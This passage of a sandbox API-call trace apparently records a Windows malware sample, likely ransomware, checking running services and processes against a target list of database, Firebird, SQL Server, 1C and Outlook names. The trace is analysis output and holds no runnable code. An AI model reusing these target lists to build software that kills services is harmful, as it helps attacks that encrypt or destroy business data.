(lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.260] lstrlenW (lpString="CscService") returned 10 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.260] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.260] lstrlenW (lpString="DcomLaunch") returned 10 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.260] lstrlenW (lpString="Dhcp") returned 4 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.260] lstrlenW (lpString="Dnscache") returned 8 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.260] lstrlenW (lpString="DPS") returned 3 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.260] lstrlenW (lpString="eventlog") returned 8 [0053.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.261] lstrlenW (lpString="EventSystem") returned 11 [0053.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.261] lstrlenW (lpString="gpsvc") returned 5 [0053.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.261] lstrlenW (lpString="iphlpsvc") returned 8 [0053.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.261] lstrlenW (lpString="LanmanServer") returned 12 [0053.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.261] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.261] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.261] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.261] lstrlenW (lpString="lmhosts") returned 7 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.262] lstrlenW (lpString="MMCSS") returned 5 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.262] lstrlenW (lpString="MpsSvc") returned 6 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.262] lstrlenW (lpString="Netman") returned 6 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.262] lstrlenW (lpString="netprofm") returned 8 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.262] lstrlenW (lpString="NlaSvc") returned 6 [0053.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.262] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.262] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.263] lstrlenW (lpString="nsi") returned 3 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.263] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.263] lstrlenW (lpString="PcaSvc") returned 6 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.263] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.263] lstrlenW (lpString="PlugPlay") returned 8 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.263] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.263] lstrlenW (lpString="Power") returned 5 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.263] lstrlenW (lpString="ProfSvc") returned 7 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.263] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.263] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.263] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.264] lstrlenW (lpString="RpcSs") returned 5 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.264] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.264] lstrlenW (lpString="SamSs") returned 5 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.264] lstrlenW (lpString="Schedule") returned 8 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.264] lstrlenW (lpString="SENS") returned 4 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.264] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.264] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.264] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.264] lstrlenW (lpString="Spooler") returned 7 [0053.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.265] lstrlenW (lpString="SysMain") returned 7 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.265] lstrlenW (lpString="Themes") returned 6 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.265] lstrlenW (lpString="TrkWks") returned 6 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.265] lstrlenW (lpString="UxSms") returned 5 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.265] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.265] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.265] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.265] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.266] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.266] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.266] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.266] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.266] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.266] lstrlenW (lpString="Winmgmt") returned 7 [0053.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.266] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.266] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.266] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.266] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6091e8 | out: hHeap=0x5d0000) returned 1 [0053.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0053.274] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.275] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.275] lstrlenW (lpString="System") returned 6 [0053.275] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.276] lstrlenW (lpString="smss.exe") returned 8 [0053.276] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.276] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.277] lstrlenW (lpString="csrss.exe") returned 9 [0053.277] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.277] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.277] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.277] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.278] lstrlenW (lpString="wininit.exe") returned 11 [0053.278] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0053.278] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0053.278] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.278] lstrlenW (lpString="csrss.exe") returned 9 [0053.278] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.278] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.278] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.279] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.279] lstrlenW (lpString="winlogon.exe") returned 12 [0053.279] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.280] lstrlenW (lpString="services.exe") returned 12 [0053.280] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.280] lstrlenW (lpString="lsass.exe") returned 9 [0053.280] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.281] lstrlenW (lpString="lsm.exe") returned 7 [0053.281] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.281] lstrlenW (lpString="svchost.exe") returned 11 [0053.281] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.282] lstrlenW (lpString="svchost.exe") returned 11 [0053.282] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.282] lstrlenW (lpString="svchost.exe") returned 11 [0053.282] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.283] lstrlenW (lpString="svchost.exe") returned 11 [0053.283] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.283] lstrlenW (lpString="svchost.exe") returned 11 [0053.284] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 